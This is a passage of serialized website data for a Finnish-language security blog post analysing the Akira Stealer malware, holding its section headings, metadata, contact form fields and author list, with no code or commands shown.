.s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":594,"searchDepth":2070,"depth":2070,"links":12810},[12811,12812,12813,12814,12825,12826,12827,12828,12829,12830,12831,12832,12834,12835,12836,12837,12838,12839,12840,12841,12842,12845,12853,12854,12855,12861,12879,12897,12898,12899,12900,12908,12915,12922,12931,12938,12939,12940,12941,12942,12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953],{"id":723,"depth":2070,"text":724},{"id":773,"depth":2070,"text":774},{"id":795,"depth":2070,"text":796},{"id":851,"depth":2070,"text":852,"children":12815},[12816,12817,12819,12821,12823],{"id":872,"depth":2076,"text":873},{"id":925,"depth":2076,"text":12818},"2.1.2 Updater.exe – ensimmäisen vaiheen loader",{"id":1032,"depth":2076,"text":12820},"2.1.3 main.exe – obfuskoitu NodeJS-payloadin säiliö",{"id":1150,"depth":2076,"text":12822},"2.1.4 cmd.exe ja PowerShell-välitys",{"id":1260,"depth":2076,"text":12824},"2.1.5 python.exe ja astor.py",{"id":1398,"depth":2070,"text":1399},{"id":1487,"depth":2070,"text":1488},{"id":1564,"depth":2070,"text":1565},{"id":1644,"depth":2070,"text":1645},{"id":1714,"depth":2070,"text":1715},{"id":1794,"depth":2070,"text":1795},{"id":1903,"depth":2070,"text":1904},{"id":2020,"depth":2070,"text":12833},"4.2 AMSI-ohitustekniikka (luokka: gofor4msi)",{"id":2207,"depth":2070,"text":2208},{"id":2328,"depth":2070,"text":2329},{"id":2428,"depth":2070,"text":2429},{"id":2524,"depth":2070,"text":2525},{"id":2599,"depth":2070,"text":2600},{"id":2668,"depth":2070,"text":2669},{"id":2727,"depth":2070,"text":2728},{"id":2868,"depth":2070,"text":2869},{"id":2931,"depth":2070,"text":2932,"children":12843},[12844],{"id":2943,"depth":2076,"text":2944},{"id":3298,"depth":2070,"text":3299,"children":12846},[12847,12848,12849,12850,12851,12852],{"id":3307,"depth":2076,"text":3308},{"id":3421,"depth":2076,"text":3422},{"id":3619,"depth":2076,"text":3620},{"id":3910,"depth":2076,"text":3911},{"id":3986,"depth":2076,"text":3987},{"id":4148,"depth":2076,"text":4149},{"id":4383,"depth":2070,"text":4384},{"id":4429,"depth":2070,"text":4430},{"id":4441,"depth":2070,"text":4442,"children":12856},[12857,12858,12859,12860],{"id":4447,"depth":2076,"text":4448},{"id":4491,"depth":2076,"text":4492},{"id":4551,"depth":2076,"text":4552},{"id":4586,"depth":2076,"text":4587},{"id":4623,"depth":2070,"text":12862,"children":12863},"7.3 Analyysin vastaisuus / väistely (luokka: VmProtect)",[12864,12865,12866,12867,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878],{"id":4632,"depth":2076,"text":4633},{"id":4648,"depth":2076,"text":4649},{"id":4687,"depth":2076,"text":4688},{"id":4775,"depth":2076,"text":12868},"7.3.4 VmProtect-arkkitehtuuri",{"id":5127,"depth":2076,"text":5128},{"id":5193,"depth":2076,"text":5194},{"id":5262,"depth":2076,"text":5263},{"id":5326,"depth":2076,"text":5327},{"id":5394,"depth":2076,"text":5395},{"id":5451,"depth":2076,"text":5452},{"id":5549,"depth":2076,"text":5550},{"id":5619,"depth":2076,"text":5620},{"id":6074,"depth":2076,"text":6075},{"id":6120,"depth":2076,"text":6121},{"id":6137,"depth":2070,"text":6138,"children":12880},[12881,12882,12884,12886,12888,12890,12892,12894,12896],{"id":6298,"depth":2076,"text":6299},{"id":6407,"depth":2076,"text":12883},"7.4.2 Salasanadumppaaja (Chromium.GetPasswords)",{"id":6529,"depth":2076,"text":12885},"7.4.3 Luottokorttidumppaaja (Chromium.GetCreditCards)",{"id":6611,"depth":2076,"text":12887},"7.4.4 Evästedumppaaja (Chromium.GetCookies)",{"id":6691,"depth":2076,"text":12889},"7.4.5 Google-istuntodumppaaja (Chromium.dump_google_sessions)",{"id":6818,"depth":2076,"text":12891},"7.4.6 Historiadumppaaja (Chromium.GetHistory)",{"id":6889,"depth":2076,"text":12893},"7.4.7 Automaattisen täytön dumppaaja (Chromium.GetAutofills)",{"id":6951,"depth":2076,"text":12895},"7.4.8 Firefox-profiilin sieppaaja (GeckoDriver & grabFirefoxProfiles)",{"id":7029,"depth":2076,"text":7030},{"id":7068,"depth":2070,"text":7069},{"id":7400,"depth":2070,"text":7401},{"id":7514,"depth":2070,"text":7515},{"id":7844,"depth":2070,"text":7845,"children":12901},[12902,12903,12904,12905,12906,12907],{"id":7853,"depth":2076,"text":7854},{"id":8004,"depth":2076,"text":8005},{"id":8110,"depth":2076,"text":8111},{"id":8235,"depth":2076,"text":8236},{"id":8302,"depth":2076,"text":8303},{"id":8427,"depth":2076,"text":8428},{"id":8532,"depth":2070,"text":12909,"children":12910},"7.9. Discord- ja Telegram-tokenvarkaus (luokka: Discord)",[12911,12912,12913,12914],{"id":8547,"depth":2076,"text":8548},{"id":8679,"depth":2076,"text":8680},{"id":8923,"depth":2076,"text":8924},{"id":9004,"depth":2076,"text":9005},{"id":9074,"depth":2070,"text":9075,"children":12916},[12917,12919,12920,12921],{"id":9087,"depth":2076,"text":12918},"7.10.1 Data-luokan alustus",{"id":9185,"depth":2076,"text":9186},{"id":9305,"depth":2076,"text":9306},{"id":9370,"depth":2076,"text":9371},{"id":9447,"depth":2070,"text":12923,"children":12924},"7.11 Tiedostojen sieppaaja (luokka: Utils.steal_files)",[12925,12926,12927,12928,12929,12930],{"id":9459,"depth":2076,"text":9460},{"id":9530,"depth":2076,"text":9531},{"id":9593,"depth":2076,"text":9594},{"id":9626,"depth":2076,"text":9627},{"id":9655,"depth":2076,"text":9656},{"id":9835,"depth":2076,"text":9836},{"id":9944,"depth":2070,"text":9945,"children":12932},[12933,12934,12935,12936,12937],{"id":9953,"depth":2076,"text":9954},{"id":9968,"depth":2076,"text":9969},{"id":10047,"depth":2076,"text":10048},{"id":10196,"depth":2076,"text":10197},{"id":10429,"depth":2076,"text":10430},{"id":10784,"depth":2070,"text":10785},{"id":10815,"depth":2070,"text":10816},{"id":10937,"depth":2070,"text":10938},{"id":11048,"depth":2070,"text":11049},{"id":11099,"depth":2070,"text":11100},{"id":11278,"depth":2070,"text":11279},{"id":11328,"depth":2070,"text":11329},{"id":11372,"depth":2070,"text":11373},{"id":11412,"depth":2070,"text":11413},{"id":11501,"depth":2070,"text":11502},{"id":11518,"depth":2070,"text":11519},{"id":12041,"depth":2070,"text":12042},{"id":12347,"depth":2070,"text":12348},{"id":12468,"depth":2070,"text":12469},{"id":12531,"depth":2070,"text":12532},{"id":12704,"depth":2070,"text":12705},"md","post",{"lang":12957,"seoTitle":12958,"titleClass":12959,"date":12960,"categories":12961,"blogtitlepic":12963,"socialimg":12964,"customExcerpt":12965,"keywords":12966,"maxContent":325,"asideNav":12967,"footer":13016,"contactInContent":13017,"published":325},"fi","Akira Stealer: modulaarisen tietoja varastavan haittaohjelman tekninen analyysi","h2-font-size","2025-06-16",[12962],"Security","head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Kaikki alkoi yhdestä Defender-hälytyksestä Microsoft 365:ssä. Ei haittaohjelmaa, ei signatuureja, ei paniikkia. Vain kuiskaus kohinassa. Löysimme kuukausia jatkunutta tunnistetietojen varastamista - kirurgisen tarkkaa, hiljaista ja lähes näkymätöntä. Näin CSOC:mme muutti vaimean signaalin täyden mittaluokan vasteeksi. Ja palautti asiakkaallemme hallinnan ennen kuin hän edes tiesi menettäneensä sen.","Microsoft 365 -tietoturva, tunnistetietojen varastamisen havaitseminen, Incident Response, Microsoft Defender, managed security services, cloud security, uhkien havaitseminen, kyberhyökkäysten havaitseminen, CSOC, Advanced Threat Protection",{"menuItems":12968},[12969,12971,12974,12977,12980,12983,12986,12989,12992,12995,12998,13001,13004,13007,13010,13013],{"href":12970,"text":531},"#prologi",{"href":12972,"text":12973},"#_1-ensimmäinen-tapahtuma-ja-triage-yhteenveto","Ensimmäinen tapahtuma ja triage-yhteenveto",{"href":12975,"text":12976},"#_2-haittaohjelman-arkkitehtuuri-ja-suoritusketjun-yleiskuva","Haittaohjelman arkkitehtuuri ja suoritusketju",{"href":12978,"text":12979},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12981,"text":12982},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12984,"text":12985},"#_5-deep-dive-mainexe-electron-pohjainen-haittaohjelman-loader","Deep Dive: main.exe",{"href":12987,"text":12988},"#_6-deep-dive-inputjs-salattu-javascript-payloadin-loader","Deep Dive: input.js",{"href":12990,"text":12991},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12993,"text":12994},"#_8-kiertävä-suoritusketju-itsekorjautuva-silmukka","Kiertävä suoritusketju",{"href":12996,"text":12997},"#_9-lohkoketjun-jäljitys-ja-analyysi","Lohkoketjun jäljitys ja analyysi",{"href":12999,"text":13000},"#_10-akira-ekosysteemin-sisällä-kaupallistettu-kyberrikollisuuden-infrastruktuuri","Akira-ekosysteemin sisällä",{"href":13002,"text":13003},"#_11-akira-stealer-quickcheck-kohteeksi-joutuneet-tiedostot","Akira Stealer QuickCheck: kohteeksi joutuneet tiedostot",{"href":13005,"text":13006},"#_12-vasteen-jälkeen-näin-glueckkanja-csoc-muuttaa-poikkeamat-oivalluksiksi","Näin glueckkanja CSOC muuttaa poikkeamat oivalluksiksi",{"href":13008,"text":13009},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":13011,"text":13012},"#_14-katsaus-akira-stealer-poikkeamaan-vahvista-puolustustasi-glueckkanja-csocn-avulla","Katsaus Akira Stealer -poikkeamaan",{"href":13014,"text":13015},"#_15-tietoturva-ja-vastuuvapauslauseke-todellisen-haittaohjelmakoodin-käyttö","Tietoturva- ja vastuuvapauslauseke",{"noMargin":325},{"quote":484,"infos":13018},{"bgColor":13019,"color":13020,"boxBgColor":13021,"boxColor":13022,"headline":13023,"subline":13024,"level":721,"textStyling":13025,"flush":13026,"person":13027,"form":13039},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Ota yhteyttä nyt","Johtavana Microsoft Security -MSSP:nä suojaamme yrityksiä kyberuhkilta joka päivä. Keskustellaan ja vahvistetaan kyberpuolustustasi yhdessä!","text-light","justify-content-end",{"image":13028,"cloudinary":325,"alt":13029,"name":13029,"detailsHeader":13030,"details":13031},"/people/people-pam-team.png","Project & Account Management","Odotamme innolla, että kuulemme sinusta!",[13032,13036],{"text":492,"href":13033,"details":13034,"icon":13035},"tel:+49 69 4005520","Soita nyt","site/phone",{"text":493,"href":13037,"icon":13038},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13040,"cta":13041,"method":12955,"action":13043,"fields":13044},"Lähetä",{"skin":13042},"primary on-surface","/send",[13045,13049,13053,13056,13060,13065,13068,13071],{"type":13046,"id":13047,"value":13048},"hidden","_next","successful",{"label":13050,"type":593,"id":13051,"required":325,"requiredMsg":13052},"Nimi*","name","Anna nimesi.",{"label":13054,"type":593,"id":403,"required":325,"requiredMsg":13055},"Yritys*","Anna yrityksesi.",{"label":13057,"type":13058,"id":13058,"required":325,"requiredMsg":13059},"Sähköpostiosoite*","email","Anna sähköpostiosoitteesi.",{"label":13061,"type":13062,"id":13063,"required":325,"requiredMsg":13064},"Tietosi tallennetaan meille pyyntösi käsittelyä ja siihen vastaamista varten. Lisätietoja tietosuojasta löydät \u003Ca href=\"/fi/privacy\">tietosuojaselosteestamme\u003C/a>.","checkbox","dataprotection","Vahvista",{"type":13046,"id":13066,"value":13067},"_subject","Form: Blog MSSP 2025 | FI",{"type":13046,"id":13069,"value":13070},"inbox_key","gkgab-contact-form",{"type":13046,"id":13072},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":521,"description":535},"posts/2025-06-16-quiet-breach",[13077,13078,13079,13080],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","e6EZWvyUPa-Tt3zi2bSZOqoEmTyfu27AeWN-Rey1oaw",{"id":13083,"extension":13084,"meta":13085,"stem":8,"__hash__":13435},"authors_data/authors.json","json",{"path":13086,"Fritz Zurhorst":13087,"Alexander Schlindwein":13093,"Sophie Luna":13099,"Nadine Klein":13107,"Karsten Kleinschmidt":13113,"Julian Wendt":13121,"Holger Bunkradt":13126,"Ralf Mania":13132,"Oliver Kieselbach":13138,"Steffen Schwerdtfeger":13144,"Gunnar Winter":13152,"Jan Petersen":13157,"Thorsten Kunzi":13162,"Moritz Pohl":13166,"Thorben Pöschus":13171,"Christoph Hannebauer":13177,"Marco Scheel":13181,"Christopher Brumm":13186,"Florian Klante":13193,"Niklas Bachmann":13198,"Nils Krautkrämer":13203,"Patrick Treptau":13209,"Peter Beckendorf":13214,"Patrick Sobau":13219,"Jörg Wunderlich":13224,"Michael Breither":13228,"Christian Kanja":13233,"Zeba Hoffmann":13239,"Jochen Fröhlich":13244,"Jan Geisbauer":13248,"Gerrit Reinke":13260,"Christian Kordel":13266,"Stephan Wälde":13270,"Carolin Kanja":13275,"Adrian Ritter":13281,"Marvin Bangert":13286,"Thorsten Pickhan":13292,"Christian Lorenz":13298,"Denis Böhm":13303,"Fabian Bader":13308,"Juan Jose Fernandez Perez":13314,"Mahschid Sayyar":13319,"Benjamin Dassow":13324,"Markus Walschburger":13329,"Jonathan Haist":13334,"Daniel Rohregger":13339,"Thomas Naunheim":13344,"Florian Stöckl":13349,"Pascal Asch":13354,"Markus Kättner":13358,"Anna Ulbricht":13365,"Annette Brauns":13372,"body":13378,"title":13434},"/authors",{"display_name":13088,"avatar":13089,"permalink":13090,"linkedin":13091,"imageOffsetTop":13092},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13094,"avatar":13095,"permalink":13096,"twitter":13097,"linkedin":13098},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13100,"avatar":13101,"permalink":13102,"twitter":13103,"linkedin":13104,"imageOffsetLeft":13105,"imageOffsetTop":13106},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13108,"avatar":13109,"permalink":13110,"twitter":13111,"linkedin":13112,"imageOffsetTop":13092},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13114,"avatar":13115,"permalink":13116,"twitter":13117,"linkedin":13118,"imageOffsetTop":13119,"imageOffsetLeft":13120},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13122,"avatar":13123,"permalink":13124,"linkedin":13125},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13127,"avatar":13128,"permalink":13129,"linkedin":13130,"twitter":13131},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13133,"avatar":13134,"permalink":13135,"linkedin":13136,"twitter":13137},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13139,"avatar":13140,"permalink":13141,"linkedin":13142,"twitter":13143},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13145,"avatar":13146,"permalink":13147,"linkedin":13148,"twitter":13149,"imageOffsetTop":13150,"imageOffsetLeft":13151},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13153,"avatar":13154,"permalink":13155,"twitter":13103,"linkedin":13156},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13158,"avatar":13159,"permalink":13160,"twitter":13103,"linkedin":13161},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13163,"avatar":13164,"permalink":13165,"twitter":13103,"linkedin":13156,"imageOffsetTop":13092},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13167,"avatar":13168,"permalink":13169,"twitter":13103,"linkedin":13170},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13172,"avatar":13173,"permalink":13174,"twitter":13175,"linkedin":13176},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13178,"avatar":13179,"permalink":13180,"twitter":13103,"linkedin":13156,"imageOffsetTop":13092},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13182,"avatar":13183,"permalink":13184,"twitter":13185,"linkedin":13185},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13187,"avatar":13188,"permalink":13189,"twitter":13190,"linkedin":13191,"imageOffsetTop":13192},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13194,"avatar":13195,"permalink":13196,"linkedin":13197,"twitter":13103},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13199,"avatar":13200,"permalink":13201,"linkedin":13202,"twitter":13103},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13204,"avatar":13205,"permalink":13206,"twitter":13207,"linkedin":13208},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13210,"avatar":13211,"permalink":13212,"linkedin":13213,"twitter":13103},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13215,"avatar":13216,"permalink":13217,"linkedin":13218,"twitter":13103,"imageOffsetTop":13092},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13220,"avatar":13221,"permalink":13222,"linkedin":13223,"twitter":13103},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13225,"avatar":13226,"permalink":13227,"twitter":13103},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13229,"avatar":13230,"permalink":13231,"twitter":13103,"linkedin":13232},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13234,"avatar":13235,"permalink":13236,"twitter":13237,"linkedin":13238},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13240,"avatar":13241,"permalink":13242,"linkedin":13243,"twitter":13103},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13245,"avatar":13246,"permalink":13247,"twitter":13103,"linkedin":13156},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13249,"avatar":13250,"permalink":13251,"twitter":13252,"linkedin":13252,"imageOffsetTop":13092,"socials":13253},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13254,13257],{"text":13255,"href":13256},"Blog","https://emptydc.com",{"text":13258,"href":13259},"Podcast","https://hairlessinthecloud.com",{"display_name":13261,"avatar":13262,"permalink":13263,"twitter":13264,"linkedin":13265},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13267,"avatar":13268,"permalink":13269,"twitter":13103,"linkedin":13156},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13271,"avatar":13272,"permalink":13273,"twitter":13274,"linkedin":13156},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13282,"avatar":13283,"permalink":13284,"twitter":13285,"linkedin":13285},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13287,"avatar":13288,"permalink":13289,"twitter":13290,"linkedin":13291},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13293,"avatar":13294,"permalink":13295,"twitter":13296,"linkedin":13297},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13299,"avatar":13300,"permalink":13301,"linkedin":13302,"twitter":13103},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13304,"avatar":13305,"permalink":13306,"linkedin":13307,"twitter":13103},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13309,"avatar":13310,"permalink":13311,"linkedin":13312,"twitter":13313},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13315,"avatar":13316,"permalink":13317,"linkedin":13318},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13320,"avatar":13321,"permalink":13322,"linkedin":13323},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13325,"avatar":13326,"permalink":13327,"linkedin":13328},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13330,"avatar":13331,"permalink":13332,"linkedin":13333},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13335,"avatar":13336,"permalink":13337,"linkedin":13338,"imageOffsetTop":13092},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13340,"avatar":13341,"permalink":13342,"linkedin":13343,"imageOffsetTop":13092},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13345,"avatar":13346,"permalink":13347,"linkedin":13348,"imageOffsetTop":13192},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13350,"avatar":13351,"permalink":13352,"linkedin":13353,"imageOffsetTop":13192},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":13355,"permalink":13356,"linkedin":13357,"imageOffsetTop":13192},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13359,"avatar":13360,"permalink":13361,"linkedin":13362,"imageOffsetTop":13363,"imageOffsetLeft":13364},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13366,"avatar":13367,"permalink":13368,"linkedin":13369,"imageOffsetTop":13370,"imageOffsetLeft":13371},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13373,"avatar":13374,"permalink":13375,"linkedin":13376,"imageOffsetTop":13377,"imageOffsetLeft":13119},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13379,"Alexander Schlindwein":13380,"Sophie Luna":13381,"Nadine Klein":13382,"Karsten Kleinschmidt":13383,"Julian Wendt":13384,"Holger Bunkradt":13385,"Ralf Mania":13386,"Oliver Kieselbach":13387,"Steffen Schwerdtfeger":13388,"Gunnar Winter":13389,"Jan Petersen":13390,"Thorsten Kunzi":13391,"Moritz Pohl":13392,"Thorben Pöschus":13393,"Christoph Hannebauer":13394,"Marco Scheel":13395,"Christopher Brumm":13396,"Florian Klante":13397,"Niklas Bachmann":13398,"Nils Krautkrämer":13399,"Patrick Treptau":13400,"Peter Beckendorf":13401,"Patrick Sobau":13402,"Jörg Wunderlich":13403,"Michael Breither":13404,"Christian Kanja":13405,"Zeba Hoffmann":13406,"Jochen Fröhlich":13407,"Jan Geisbauer":13408,"Gerrit Reinke":13412,"Christian Kordel":13413,"Stephan Wälde":13414,"Carolin Kanja":13415,"Adrian Ritter":13416,"Marvin Bangert":13417,"Thorsten Pickhan":13418,"Christian Lorenz":13419,"Denis Böhm":13420,"Fabian Bader":13421,"Juan Jose Fernandez Perez":13422,"Mahschid Sayyar":13423,"Benjamin Dassow":13424,"Markus Walschburger":13425,"Jonathan Haist":13426,"Daniel Rohregger":13427,"Thomas Naunheim":13428,"Florian Stöckl":13429,"Pascal Asch":13430,"Markus Kättner":13431,"Anna Ulbricht":13432,"Annette Brauns":13433},{"display_name":13088,"avatar":13089,"permalink":13090,"linkedin":13091,"imageOffsetTop":13092},{"display_name":13094,"avatar":13095,"permalink":13096,"twitter":13097,"linkedin":13098},{"display_name":13100,"avatar":13101,"permalink":13102,"twitter":13103,"linkedin":13104,"imageOffsetLeft":13105,"imageOffsetTop":13106},{"display_name":13108,"avatar":13109,"permalink":13110,"twitter":13111,"linkedin":13112,"imageOffsetTop":13092},{"display_name":13114,"avatar":13115,"permalink":13116,"twitter":13117,"linkedin":13118,"imageOffsetTop":13119,"imageOffsetLeft":13120},{"display_name":13122,"avatar":13123,"permalink":13124,"linkedin":13125},{"display_name":13127,"avatar":13128,"permalink":13129,"linkedin":13130,"twitter":13131},{"display_name":13133,"avatar":13134,"permalink":13135,"linkedin":13136,"twitter":13137},{"display_name":13139,"avatar":13140,"permalink":13141,"linkedin":13142,"twitter":13143},{"display_name":13145,"avatar":13146,"permalink":13147,"linkedin":13148,"twitter":13149,"imageOffsetTop":13150,"imageOffsetLeft":13151},{"display_name":13153,"avatar":13154,"permalink":13155,"twitter":13103,"linkedin":13156},{"display_name":13158,"avatar":13159,"permalink":13160,"twitter":13103,"linkedin":13161},{"display_name":13163,"avatar":13164,"permalink":13165,"twitter":13103,"linkedin":13156,"imageOffsetTop":13092},{"display_name":13167,"avatar":13168,"permalink":13169,"twitter":13103,"linkedin":13170},{"display_name":13172,"avatar":13173,"permalink":13174,"twitter":13175,"linkedin":13176},{"display_name":13178,"avatar":13179,"permalink":13180,"twitter":13103,"linkedin":13156,"imageOffsetTop":13092},{"display_name":13182,"avatar":13183,"permalink":13184,"twitter":13185,"linkedin":13185},{"display_name":13187,"avatar":13188,"permalink":13189,"twitter":13190,"linkedin":13191,"imageOffsetTop":13192},{"display_name":13194,"avatar":13195,"permalink":13196,"linkedin":13197,"twitter":13103},{"display_name":13199,"avatar":13200,"permalink":13201,"linkedin":13202,"twitter":13103},{"display_name":13204,"avatar":13205,"permalink":13206,"twitter":13207,"linkedin":13208},{"display_name":13210,"avatar":13211,"permalink":13212,"linkedin":13213,"twitter":13103},{"display_name":13215,"avatar":13216,"permalink":13217,"linkedin":13218,"twitter":13103,"imageOffsetTop":13092},{"display_name":13220,"avatar":13221,"permalink":13222,"linkedin":13223,"twitter":13103},{"display_name":13225,"avatar":13226,"permalink":13227,"twitter":13103},{"display_name":13229,"avatar":13230,"permalink":13231,"twitter":13103,"linkedin":13232},{"display_name":13234,"avatar":13235,"permalink":13236,"twitter":13237,"linkedin":13238},{"display_name":13240,"avatar":13241,"permalink":13242,"linkedin":13243,"twitter":13103},{"display_name":13245,"avatar":13246,"permalink":13247,"twitter":13103,"linkedin":13156},{"display_name":13249,"avatar":13250,"permalink":13251,"twitter":13252,"linkedin":13252,"imageOffsetTop":13092,"socials":13409},[13410,13411],{"text":13255,"href":13256},{"text":13258,"href":13259},{"display_name":13261,"avatar":13262,"permalink":13263,"twitter":13264,"linkedin":13265},{"display_name":13267,"avatar":13268,"permalink":13269,"twitter":13103,"linkedin":13156},{"display_name":13271,"avatar":13272,"permalink":13273,"twitter":13274,"linkedin":13156},{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},{"display_name":13282,"avatar":13283,"permalink":13284,"twitter":13285,"linkedin":13285},{"display_name":13287,"avatar":13288,"permalink":13289,"twitter":13290,"linkedin":13291},{"display_name":13293,"avatar":13294,"permalink":13295,"twitter":13296,"linkedin":13297},{"display_name":13299,"avatar":13300,"permalink":13301,"linkedin":13302,"twitter":13103},{"display_name":13304,"avatar":13305,"permalink":13306,"linkedin":13307,"twitter":13103},{"display_name":13309,"avatar":13310,"permalink":13311,"linkedin":13312,"twitter":13313},{"display_name":13315,"avatar":13316,"permalink":13317,"linkedin":13318},{"display_name":13320,"avatar":13321,"permalink":13322,"linkedin":13323},{"display_name":13325,"avatar":13326,"permalink":13327,"linkedin":13328},{"display_name":13330,"avatar":13331,"permalink":13332,"linkedin":13333},{"display_name":13335,"avatar":13336,"permalink":13337,"linkedin":13338,"imageOffsetTop":13092},{"display_name":13340,"avatar":13341,"permalink":13342,"linkedin":13343,"imageOffsetTop":13092},{"display_name":13345,"avatar":13346,"permalink":13347,"linkedin":13348,"imageOffsetTop":13192},{"display_name":13350,"avatar":13351,"permalink":13352,"linkedin":13353,"imageOffsetTop":13192},{"display_name":523,"avatar":13355,"permalink":13356,"linkedin":13357,"imageOffsetTop":13192},{"display_name":13359,"avatar":13360,"permalink":13361,"linkedin":13362,"imageOffsetTop":13363,"imageOffsetLeft":13364},{"display_name":13366,"avatar":13367,"permalink":13368,"linkedin":13369,"imageOffsetTop":13370,"imageOffsetLeft":13371},{"display_name":13373,"avatar":13374,"permalink":13375,"linkedin":13376,"imageOffsetTop":13377,"imageOf